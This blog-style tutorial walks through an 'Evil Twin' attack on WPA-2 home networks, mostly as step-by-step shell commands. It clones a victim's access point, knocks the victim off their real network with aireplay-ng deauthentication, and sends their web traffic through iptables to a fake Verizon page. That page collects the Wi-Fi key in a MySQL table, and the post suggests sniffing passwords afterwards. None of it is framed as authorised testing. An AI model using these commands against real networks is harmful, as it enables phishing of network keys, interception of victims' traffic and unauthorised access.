In an ealier post, we’ve seen how to crack WPA-2 network keys using a dictionary.

While that technique works, it could take an awful long time, especially when brute forcing.

On this technique, named ‘Evil Twin’, we take a different perspective to the attack. Using a powerful long range wireless card (Alfa AWUS036NH), we clone the target network to confuse our victim. Then, we deauthenticate the victim from his own wireless network and wait until he connects to our access point – which looks exactly like his. :)

When the victim connects, he is redirected to a service page asking for the WPA-2 key in order to access the internet. As soon as we get the key, you can either allow the victim to use the network (maybe improvise some password sniffing?) or just bring it down manually.

For this example I created a service page based on Verizon ISP. The files are placed at the default location (/var/www/). I created a database called ‘wpa2′, which can be done with the following commands:

Login to MySQL:
mysql -u root -p
Note: Default backtrack user/pass are root/toor

Create the database:
create database wpa2;
use wpa2;
create table content(key1 VARCHAR(64), key2 VARCHAR(64));

Finally, start apache and mysql services and check everything works, by going typing localhost on a web-browser.

Click here to download the files: [ DOWNLOAD ]

Check out the video:

Song: BGNS – sasas


Install dhcp3 and create config file:
apt-get install dhcp3-server -y
mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
gedit /etc/dhcp3/dhcpd.conf

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet netmask {
option subnet-mask;
option broadcast-address;
option routers;
option domain-name-servers;

Start clone access point:
airmon-ng start wlan0 [channel]
airbase-ng -e "AP name" -c [channel] mon0
ifconfig at0 up
ifconfig at0 netmask
route add -net netmask gw
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/ at0
/etc/init.d/dhcp3-server start

Flush iptables:
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface [internet connection] -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Redirect traffic:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination [IP address:80]
iptables -t nat -A POSTROUTING -j MASQUERADE

DeAuthenticate Access Point (poor):
aireplay-ng -0 0 -a [target bssid] [monitor interface]

DeAuthenticate Client (recommended):
aireplay-ng -0 0 -a [target bssid] -c [client mac] [monitor interface]

Source :